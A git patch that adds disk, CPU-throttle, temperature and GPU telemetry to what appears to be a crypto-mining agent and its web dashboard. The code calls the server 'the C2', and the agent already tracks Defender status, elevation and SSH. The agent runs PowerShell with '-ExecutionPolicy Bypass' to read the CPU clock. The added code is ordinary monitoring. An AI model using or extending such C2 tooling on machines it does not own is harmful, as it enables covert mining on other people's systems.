From 67049335686b1c48ab208c78e99e014fdf69e8d2 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sat, 30 May 2026 23:22:32 -0700 Subject: [PATCH] feat: resource_pressure - disk free, CPU freq/throttle/temp, GPU temp via nvidia-smi --- agent/client/client.go | 15 ++- agent/client/protocol.go | 11 ++ agent/client/resource_pressure.go | 81 ++++++++++++++ agent/client/resource_unix.go | 108 +++++++++++++++++++ agent/client/resource_windows.go | 93 ++++++++++++++++ server/internal/api/websocket.go | 22 ++++ server/internal/models/agent.go | 11 ++ server/web/src/context/WebSocketProvider.tsx | 9 ++ server/web/src/pages/CruciblePage.css | 15 +++ server/web/src/pages/CruciblePage.tsx | 61 ++++++++++- server/web/src/pages/DashboardPage.tsx | 92 ++++++++++++++++ server/web/src/types/index.ts | 11 ++ server/web/src/types/ws.ts | 10 ++ 13 files changed, 537 insertions(+), 2 deletions(-) create mode 100644 agent/client/resource_pressure.go create mode 100644 agent/client/resource_unix.go create mode 100644 agent/client/resource_windows.go diff --git a/agent/client/client.go b/agent/client/client.go index 2b6aacc..c80f599 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -589,6 +589,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { var probeTick int var lastSSH *bool var lastPosture *PostureReport + var lastPressure *ResourcePressure var postureReady bool for { select { @@ -628,7 +629,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { accepted := c.sharesAccepted c.mu.Unlock() - // Probe SSH + full posture every 6 ticks (~60s) + // Probe SSH, posture, and resource pressure every 6 ticks (~60s) if probeTick%6 == 0 { ok := probeSSH() lastSSH = &ok @@ -639,6 +640,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { lastSSH = p.SSHListening } } + lastPressure = collectResourcePressure() } probeTick++ @@ -653,6 +655,17 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { UptimeSeconds: int(time.Since(c.startTime).Seconds()), SSHAvailable: lastSSH, } + if lastPressure != nil { + stats.CPUFreqMHz = lastPressure.CPUFreqMHz + stats.CPUMaxMHz = lastPressure.CPUMaxMHz + stats.CPUThrottle = lastPressure.CPUThrottle + stats.CPUTempC = lastPressure.CPUTempC + stats.DiskFreeGB = lastPressure.DiskFreeGB + stats.DiskTotalGB = lastPressure.DiskTotalGB + stats.DiskFreePct = lastPressure.DiskFreePct + stats.GPUTempC = lastPressure.GPUTempC + stats.GPUUsagePct = lastPressure.GPUUsagePct + } if postureReady && lastPosture != nil { score := lastPosture.PostureScore stats.PostureScore = &score diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 139e051..b858a41 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -76,6 +76,17 @@ type StatsPayload struct { MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` + // Resource pressure (mining-specific runtime telemetry) + CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` + CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` + CPUThrottle *bool `json:"cpu_throttle,omitempty"` + CPUTempC *int `json:"cpu_temp_c,omitempty"` + DiskFreeGB *float64 `json:"disk_free_gb,omitempty"` + DiskTotalGB *float64 `json:"disk_total_gb,omitempty"` + DiskFreePct *int `json:"disk_free_pct,omitempty"` + GPUTempC *int `json:"gpu_temp_c,omitempty"` + GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` + // SSH + posture SSHAvailable *bool `json:"ssh_available,omitempty"` PostureScore *int `json:"posture_score,omitempty"` diff --git a/agent/client/resource_pressure.go b/agent/client/resource_pressure.go new file mode 100644 index 0000000..658efc6 --- /dev/null +++ b/agent/client/resource_pressure.go @@ -0,0 +1,81 @@ +package client + +import ( + "os/exec" + "strconv" + "strings" +) + +// ResourcePressure is a mining-specific runtime snapshot sent every heartbeat. +// It lets the C2 flag nodes that are thermally or disk-starved BEFORE hashrate +// drops — key for the "is this box safe to mine on?" question. +type ResourcePressure struct { + // CPU frequency (throttle detection) + CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` + CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` + CPUThrottle *bool `json:"cpu_throttle,omitempty"` // true when cur < 80% of max + + // CPU thermal + CPUTempC *int `json:"cpu_temp_c,omitempty"` + + // Disk (drive hosting the miner binary) + DiskFreeGB *float64 `json:"disk_free_gb,omitempty"` + DiskTotalGB *float64 `json:"disk_total_gb,omitempty"` + DiskFreePct *int `json:"disk_free_pct,omitempty"` + + // GPU (NVIDIA via nvidia-smi — optional) + GPUTempC *int `json:"gpu_temp_c,omitempty"` + GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` +} + +// DiskPressure returns true when less than 10 % of disk is free. +func (r *ResourcePressure) DiskPressure() bool { + return r != nil && r.DiskFreePct != nil && *r.DiskFreePct < 10 +} + +// ThermalPressure returns true when CPU > 85 °C or GPU > 82 °C. +func (r *ResourcePressure) ThermalPressure() bool { + if r == nil { + return false + } + if r.CPUTempC != nil && *r.CPUTempC > 85 { + return true + } + if r.GPUTempC != nil && *r.GPUTempC > 82 { + return true + } + return false +} + +// Throttled returns true when the CPU is running below 80 % of its rated speed. +func (r *ResourcePressure) Throttled() bool { + return r != nil && r.CPUThrottle != nil && *r.CPUThrottle +} + +// probeGPU queries nvidia-smi for temperature and utilisation. +// Returns (nil, nil) when no NVIDIA GPU is present or nvidia-smi is absent. +func probeGPU() (tempC, usagePct *int) { + out, err := exec.Command( + "nvidia-smi", + "--query-gpu=temperature.gpu,utilization.gpu", + "--format=csv,noheader,nounits", + ).Output() + if err != nil { + return nil, nil + } + line := strings.TrimSpace(string(out)) + // First GPU only; multi-GPU rigs can extend later. + parts := strings.SplitN(line, ",", 2) + if len(parts) >= 1 { + if n, e := strconv.Atoi(strings.TrimSpace(parts[0])); e == nil { + tempC = &n + } + } + if len(parts) >= 2 { + clean := strings.TrimSuffix(strings.TrimSpace(parts[1]), " %") + if n, e := strconv.Atoi(strings.TrimSpace(clean)); e == nil { + usagePct = &n + } + } + return +} diff --git a/agent/client/resource_unix.go b/agent/client/resource_unix.go new file mode 100644 index 0000000..12c69f7 --- /dev/null +++ b/agent/client/resource_unix.go @@ -0,0 +1,108 @@ +//go:build !windows + +package client + +import ( + "math" + "os" + "path/filepath" + "strconv" + "strings" + "syscall" +) + +// collectResourcePressure gathers disk, CPU frequency/temp, and GPU metrics on Linux/macOS. +func collectResourcePressure() *ResourcePressure { + r := &ResourcePressure{} + + // ── Disk free space ─────────────────────────────────────────────────────── + exe, _ := os.Executable() + if exe == "" { + exe = "/" + } + freeGB, totalGB, freePct := unixDiskStats(filepath.Dir(exe)) + if freePct >= 0 { + r.DiskFreeGB = &freeGB + r.DiskTotalGB = &totalGB + r.DiskFreePct = &freePct + } + + // ── CPU frequency ───────────────────────────────────────────────────────── + cur := readSysInt("/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq") + max := readSysInt("/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq") + if cur > 0 { + mhz := cur / 1000 + r.CPUFreqMHz = &mhz + } + if max > 0 { + mhz := max / 1000 + r.CPUMaxMHz = &mhz + if cur > 0 { + throttled := float64(cur) < float64(max)*0.80 + r.CPUThrottle = &throttled + } + } + + // ── CPU thermal ─────────────────────────────────────────────────────────── + if temp := probeCPUTemp(); temp > 0 { + r.CPUTempC = &temp + } + + // ── GPU (NVIDIA) ────────────────────────────────────────────────────────── + r.GPUTempC, r.GPUUsagePct = probeGPU() + + return r +} + +// unixDiskStats returns (freeGB, totalGB, freePct) for the filesystem at path. +func unixDiskStats(path string) (freeGB, totalGB float64, freePct int) { + var stat syscall.Statfs_t + if err := syscall.Statfs(path, &stat); err != nil { + return 0, 0, -1 + } + if stat.Blocks == 0 { + return 0, 0, -1 + } + bsize := uint64(stat.Bsize) + total := stat.Blocks * bsize + free := stat.Bavail * bsize + + const gb = 1024 * 1024 * 1024 + totalGB = math.Round(float64(total)/gb*100) / 100 + freeGB = math.Round(float64(free)/gb*100) / 100 + freePct = int(float64(free) / float64(total) * 100) + return +} + +// probeCPUTemp reads from the thermal subsystem. Returns 0 when unavailable. +func probeCPUTemp() int { + // Try coretemp / k10temp style entries first (millidegrees) + for _, zone := range []string{ + "/sys/class/thermal/thermal_zone0/temp", + "/sys/class/thermal/thermal_zone1/temp", + "/sys/class/hwmon/hwmon0/temp1_input", + "/sys/class/hwmon/hwmon1/temp1_input", + } { + if n := readSysInt(zone); n > 0 { + // values > 1000 are in millidegrees + if n > 1000 { + return n / 1000 + } + return n + } + } + return 0 +} + +// readSysInt reads a single integer from a sysfs/procfs file. +func readSysInt(path string) int { + b, err := os.ReadFile(path) + if err != nil { + return 0 + } + n, err := strconv.Atoi(strings.TrimSpace(string(b))) + if err != nil { + return 0 + } + return n +} diff --git a/agent/client/resource_windows.go b/agent/client/resource_windows.go new file mode 100644 index 0000000..d0c8b93 --- /dev/null +++ b/agent/client/resource_windows.go @@ -0,0 +1,93 @@ +//go:build windows + +package client + +import ( + "encoding/json" + "math" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "unsafe" +) + +// collectResourcePressure gathers disk, CPU throttle, and GPU metrics on Windows. +func collectResourcePressure() *ResourcePressure { + r := &ResourcePressure{} + + // ── Disk free space ─────────────────────────────────────────────────────── + // Check the drive that hosts the running binary. + exe, _ := os.Executable() + if exe == "" { + exe = `C:\` + } + freeGB, totalGB, freePct := winDiskStats(filepath.VolumeName(exe)) + if freePct >= 0 { + r.DiskFreeGB = &freeGB + r.DiskTotalGB = &totalGB + r.DiskFreePct = &freePct + } + + // ── CPU frequency via short PowerShell call ─────────────────────────────── + const cpuScript = `$c=Get-CimInstance Win32_Processor|Select-Object -First 1 CurrentClockSpeed,MaxClockSpeed;@{freq=[int]$c.CurrentClockSpeed;max=[int]$c.MaxClockSpeed}|ConvertTo-Json -Compress` + if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", cpuScript).Output(); err == nil { + var m map[string]interface{} + if json.Unmarshal([]byte(strings.TrimSpace(string(out))), &m) == nil { + if freq, ok := m["freq"].(float64); ok && freq > 0 { + n := int(freq) + r.CPUFreqMHz = &n + } + if max, ok := m["max"].(float64); ok && max > 0 { + n := int(max) + r.CPUMaxMHz = &n + if r.CPUFreqMHz != nil { + throttled := float64(*r.CPUFreqMHz) < float64(n)*0.80 + r.CPUThrottle = &throttled + } + } + } + } + + // ── GPU (NVIDIA) ────────────────────────────────────────────────────────── + r.GPUTempC, r.GPUUsagePct = probeGPU() + + return r +} + +// winDiskStats returns (freeGB, totalGB, freePct) for the given drive letter root. +// e.g. pass "C:" — the function appends the backslash. +// Returns freePct = -1 on failure. +func winDiskStats(volumeName string) (freeGB, totalGB float64, freePct int) { + root := volumeName + if root == "" { + root = "C:" + } + root += `\` + + kernel32 := syscall.NewLazyDLL("kernel32.dll") + getDiskFreeSpaceEx := kernel32.NewProc("GetDiskFreeSpaceExW") + + rootPtr, err := syscall.UTF16PtrFromString(root) + if err != nil { + return 0, 0, -1 + } + + var freeAvail, total, totalFree uint64 + ret, _, _ := getDiskFreeSpaceEx.Call( + uintptr(unsafe.Pointer(rootPtr)), + uintptr(unsafe.Pointer(&freeAvail)), + uintptr(unsafe.Pointer(&total)), + uintptr(unsafe.Pointer(&totalFree)), + ) + if ret == 0 || total == 0 { + return 0, 0, -1 + } + + const gb = 1024 * 1024 * 1024 + freeGB = math.Round(float64(freeAvail)/gb*100) / 100 + totalGB = math.Round(float64(total)/gb*100) / 100 + freePct = int(float64(freeAvail) / float64(total) * 100) + return +} diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index c527d36..dc0a7f4 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -519,6 +519,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` + // Resource pressure + CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` + CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` + CPUThrottle *bool `json:"cpu_throttle,omitempty"` + CPUTempC *int `json:"cpu_temp_c,omitempty"` + DiskFreeGB *float64 `json:"disk_free_gb,omitempty"` + DiskTotalGB *float64 `json:"disk_total_gb,omitempty"` + DiskFreePct *int `json:"disk_free_pct,omitempty"` + GPUTempC *int `json:"gpu_temp_c,omitempty"` + GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` + // SSH + posture SSHAvailable *bool `json:"ssh_available,omitempty"` PostureScore *int `json:"posture_score,omitempty"` DefenderEnabled *bool `json:"defender_enabled,omitempty"` @@ -565,6 +576,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { "shares_submitted": stats.SharesSubmitted, "shares_accepted": stats.SharesAccepted, } + // Resource pressure fields + if stats.CPUFreqMHz != nil { broadcast["cpu_freq_mhz"] = *stats.CPUFreqMHz } + if stats.CPUMaxMHz != nil { broadcast["cpu_max_mhz"] = *stats.CPUMaxMHz } + if stats.CPUThrottle != nil { broadcast["cpu_throttle"] = *stats.CPUThrottle } + if stats.CPUTempC != nil { broadcast["cpu_temp_c"] = *stats.CPUTempC } + if stats.DiskFreeGB != nil { broadcast["disk_free_gb"] = *stats.DiskFreeGB } + if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB } + if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct } + if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC } + if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct } + if stats.SSHAvailable != nil { broadcast["ssh_available"] = *stats.SSHAvailable } diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index 6d0ea08..1b9fc24 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -34,6 +34,17 @@ type Agent struct { Capabilities *AgentCapabilities `json:"capabilities,omitempty"` + // Resource pressure — mining-specific runtime telemetry + CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` + CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` + CPUThrottle *bool `json:"cpu_throttle,omitempty"` + CPUTempC *int `json:"cpu_temp_c,omitempty"` + DiskFreeGB *float64 `json:"disk_free_gb,omitempty"` + DiskTotalGB *float64 `json:"disk_total_gb,omitempty"` + DiskFreePct *int `json:"disk_free_pct,omitempty"` + GPUTempC *int `json:"gpu_temp_c,omitempty"` + GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` + // Crucible — SSH status probed by the agent every ~60s SSHAvailable *bool `json:"ssh_available,omitempty"` diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index 0e0e2c3..16a94e9 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -114,6 +114,15 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { (update.shares_accepted ?? a.shares_good) ), status: 'online' as const, + ...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}), + ...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}), + ...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}), + ...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}), + ...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}), + ...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}), + ...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}), + ...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}), + ...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}), ...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}), ...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}), ...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}), diff --git a/server/web/src/pages/CruciblePage.css b/server/web/src/pages/CruciblePage.css index e7e1871..22716ab 100644 --- a/server/web/src/pages/CruciblePage.css +++ b/server/web/src/pages/CruciblePage.css @@ -226,6 +226,21 @@ 50% { opacity: 0.45; } } +/* ── Resource pressure badges ─────────────────────────────────────────────── */ +.cn-thermal, .cn-disk, .cn-throttle { + font-size: 0.62rem; + font-family: var(--font-tech); + padding: 1px 4px; + border-radius: 3px; + letter-spacing: 0.04em; + cursor: default; +} +.cn-thermal.therm-hot { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; } +.cn-thermal.therm-warm { color: var(--neon-amber); background: rgba(255,176,32,0.1); } +.cn-disk.disk-crit { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; } +.cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); } +.cn-throttle.therm-warm{ color: var(--neon-amber); background: rgba(255,176,32,0.1); } + /* ── T1007 service row ─────────────────────────────────────────────────────── */ .cn-services { display: flex; diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index e08c293..4eb8c19 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -78,6 +78,20 @@ function postureTooltip(agent: Agent): string { if (agent.reboot_pending !== undefined) { lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`); } + // Resource pressure + const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null; + if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) { + lines.push('──────────────────────'); + if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? ' THROTTLED' : ''}`); + if (agent.disk_free_pct !== undefined) { + lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`); + } + if (agent.cpu_freq_mhz && agent.cpu_max_mhz) { + lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`); + } + if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`); + } + if (agent.services?.length) { lines.push('──────────────────────'); lines.push('Services (T1007):'); @@ -102,7 +116,34 @@ function pendingBadge(agent: Agent): { label: string; cls: string } | null { function rebootBadge(agent: Agent): { label: string; cls: string } | null { if (agent.reboot_pending === undefined) return null; if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' }; - return null; // no badge when not pending — cleaner UI + return null; +} + +// ── Resource pressure badges ─────────────────────────────────────────────── + +function thermalBadge(agent: Agent): { label: string; cls: string } | null { + const t = agent.gpu_temp_c ?? agent.cpu_temp_c; + if (t === undefined) return null; + if (t > 80) return { label: `${t}°`, cls: 'therm-hot' }; + if (t > 65) return { label: `${t}°`, cls: 'therm-warm' }; + return null; // cool enough — no badge clutter +} + +function diskBadge(agent: Agent): { label: string; cls: string } | null { + const pct = agent.disk_free_pct; + if (pct === undefined) return null; + if (pct < 5) return { label: `DISK ${pct}%`, cls: 'disk-crit' }; + if (pct < 15) return { label: `DISK ${pct}%`, cls: 'disk-warn' }; + return null; // plenty of space — no badge +} + +function throttleBadge(agent: Agent): { label: string; cls: string } | null { + if (!agent.cpu_throttle) return null; + const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz + ? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100) + : null; + const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL'; + return { label, cls: 'therm-warm' }; } // ── Service helpers (T1007) ──────────────────────────────────────────────── @@ -516,6 +557,24 @@ export default function CruciblePage() { {a.agent_elevated && (
ADMIN
)} + {(() => { const tb = thermalBadge(a); return tb && ( +
{tb.label}
+ ); })()} + {(() => { const db = diskBadge(a); return db && ( +
{db.label}
+ ); })()} + {(() => { const trb = throttleBadge(a); return trb && ( +
{trb.label}
+ ); })()} {a.services && a.services.length > 0 && (
diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 5c46449..46c329f 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -171,6 +171,35 @@ export default function DashboardPage() { return Math.round((times.length / spanMs) * 3_600_000); }, [shares]); + // ── Resource pressure fleet stats ───────────────────────────────────────── + const onlineAgents = useMemo(() => agents.filter(a => a.status === 'online'), [agents]); + + const hottestNode = useMemo(() => { + let best: typeof agents[0] | null = null; + let max = -Infinity; + for (const a of onlineAgents) { + const t = a.gpu_temp_c ?? a.cpu_temp_c ?? -1; + if (t > max) { max = t; best = a; } + } + return best && max > 0 ? { agent: best, temp: max } : null; + }, [onlineAgents]); + + const minDiskNode = useMemo(() => { + let best: typeof agents[0] | null = null; + let min = Infinity; + for (const a of onlineAgents) { + if (a.disk_free_pct !== undefined && a.disk_free_pct < min) { + min = a.disk_free_pct; best = a; + } + } + return best ? { agent: best, pct: min } : null; + }, [onlineAgents]); + + const throttledCount = useMemo( + () => onlineAgents.filter(a => a.cpu_throttle).length, + [onlineAgents] + ); + // ── Analytics ───────────────────────────────────────────────────────────── const fleetHealth = useMemo(() => computeFleetHealth(agents, pools), [agents, pools]); const contribs = useMemo(() => contributionBars(agents), [agents]); @@ -349,6 +378,69 @@ export default function DashboardPage() {
{totalShares.toLocaleString()} total submitted
+ + {/* ── Resource Pressure cards ──────────────────────────────────────── */} + 80 ? 'amber' : 'cyan'} + className="stat-card-wrap" + > +
Hottest Node
+ {hottestNode ? ( + <> +
80 ? 'neon-glow-amber' : 'neon-glow-cyan'}`}> + {hottestNode.temp} + °C +
+
+ {hottestNode.agent.name.length > 14 ? hottestNode.agent.name.slice(0, 13) + '…' : hottestNode.agent.name} + {hottestNode.temp > 80 && ' ⚠'} +
+ + ) : ( + <> +
+
no temp data
+ + )} +
+ + +
Min Disk Free
+ {minDiskNode ? ( + <> +
+ {minDiskNode.pct} + % +
+
+ {minDiskNode.agent.name.length > 14 ? minDiskNode.agent.name.slice(0, 13) + '…' : minDiskNode.agent.name} + {minDiskNode.pct < 10 && ' ⚠ low'} +
+ + ) : ( + <> +
+
no disk data
+ + )} +
+ + 0 ? 'amber' : 'purple'} + className="stat-card-wrap" + > +
CPU Throttled
+
0 ? 'neon-glow-amber' : 'neon-glow-purple'}`}> + {throttledCount} + node{throttledCount !== 1 ? 's' : ''} +
+
+ {throttledCount === 0 ? 'fleet running at full speed' : `${throttledCount} below 80% rated freq`} +
+
{/* ── Analytics row — always visible ─────────────────────────────────── */} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 2a0e6e5..71391b2 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -24,6 +24,17 @@ export interface Agent { arch?: string; os_version?: string; capabilities?: AgentCapabilities; + // Resource pressure + cpu_freq_mhz?: number; + cpu_max_mhz?: number; + cpu_throttle?: boolean; + cpu_temp_c?: number; + disk_free_gb?: number; + disk_total_gb?: number; + disk_free_pct?: number; + gpu_temp_c?: number; + gpu_usage_pct?: number; + ssh_available?: boolean; posture_score?: number; last_patch_days?: number; diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 73a2624..1af460b 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -19,6 +19,16 @@ export interface WSStatsUpdate { uptime_seconds?: number; shares_submitted?: number; shares_accepted?: number; + // Resource pressure + cpu_freq_mhz?: number; + cpu_max_mhz?: number; + cpu_throttle?: boolean; + cpu_temp_c?: number; + disk_free_gb?: number; + disk_total_gb?: number; + disk_free_pct?: number; + gpu_temp_c?: number; + gpu_usage_pct?: number; ssh_available?: boolean; posture_score?: number; last_patch_days?: number;